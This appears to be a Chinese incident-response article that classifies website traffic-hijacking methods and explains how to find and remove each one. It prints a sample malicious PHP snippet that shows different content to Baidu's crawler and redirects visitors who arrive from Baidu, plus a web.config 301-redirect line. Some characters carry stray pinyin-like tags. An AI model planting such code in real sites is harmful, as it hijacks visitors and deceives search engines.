|
我們可以按照基于不同隱藏目的的常見劫持手法,來做一個簡單的分類: 1、將爬蟲與用戶正常訪問分開,實(shí)現(xiàn)搜索引擎快照劫持2、將移動端與PC端的訪問分開,實(shí)現(xiàn)移動端的流量劫持3、根據(jù)用戶訪問來源進(jìn)行判斷,實(shí)現(xiàn)特定來源網(wǎng)站劫持4、如果獲取管理員的真實(shí)IP地址,實(shí)現(xiàn)特定區(qū)域的流量劫持5、按照訪問路徑/關(guān)鍵詞/時間段設(shè)置,實(shí)現(xiàn)特定路徑/關(guān)鍵詞/時間段的流量劫持基于以上,實(shí)現(xiàn)的方式有很多種,比如客戶端js劫持、服務(wù)端代碼劫持、301重定向、惡意反向代理、IIS模塊劫持等。 01、客戶端js劫持 在網(wǎng)頁中插入js腳本,通過js進(jìn)行url跳轉(zhuǎn),一般情況下,會通過js混淆加密來增加識別難度。 如下:通過js劫持從搜索引擎中來的流量。 排查思路:查看網(wǎng)頁源代碼或者抓包分析http流量,找到源代碼中插入的js代碼,刪除js代碼后恢復(fù)。 02、服務(wù)端代碼劫持 網(wǎng)站源碼被篡改,在首頁或配置文件中引入惡意代碼。 如下:通過判斷User-agent與Referer,進(jìn)行快照劫持。 <?phperror_reporting(0);//判斷是否為百度蜘蛛,然后進(jìn)行內(nèi)容劫持if(stripos($_SERVER['HTTP_USER_AGENT'],'baidu')>-1){$file = file_get_contents('http://www.');echo $file;exit;}//判斷是否來自百度搜索,然后進(jìn)行url跳轉(zhuǎn)if(stristr ($_SERVER['HTTP_REFERER'],'baidu.com')) {Header('Location: http://www./');//指定跳轉(zhuǎn)exit; }?>排查思路:查看網(wǎng)站首頁引入了哪些文件,依次訪問相關(guān)的文件源碼,確認(rèn)可疑的代碼,去除包含文件后恢復(fù)。備份網(wǎng)站源碼及文件完整性驗(yàn)證非常重要,可以幫助我們在上萬行的代碼中快速找到惡意代碼。 03、nginx反向代理劫持 以前遇到過一個網(wǎng)站做了網(wǎng)頁防篡改,無法通過修改網(wǎng)站源碼劫持,攻擊者通過修改nginx的配置文件,通過正則匹配url鏈接,配置proxy_pass代理轉(zhuǎn)發(fā)實(shí)現(xiàn)url劫持。 排查思路:總結(jié)url劫持規(guī)律,中間件配置文件也是需要關(guān)注的位置。 04、利用301重定向劫持 通過HTTP重定向?qū)崿F(xiàn)301劫持。 <httpRedirect enabled='true' destination='http://www./1.php' childOnly='true' httpResponseStatus='Permanent' />排查思路:可以檢查網(wǎng)站根目錄下的配置文件web.config,確認(rèn)是否有相關(guān)設(shè)置。 05、IIS惡意模塊劫持 這種手法相對比較隱蔽,網(wǎng)站目錄中查不到webshell和掛馬頁面,但使用特定的路徑、Referer或者UA訪問,頁面會加載暗鏈。 排查思路:排查加載的異常dll文件,如沒有簽名、創(chuàng)建時間不匹配需重點(diǎn)關(guān)注??墒褂没鸾q劍或Process Monitor等工具協(xié)助排查。 |
|
|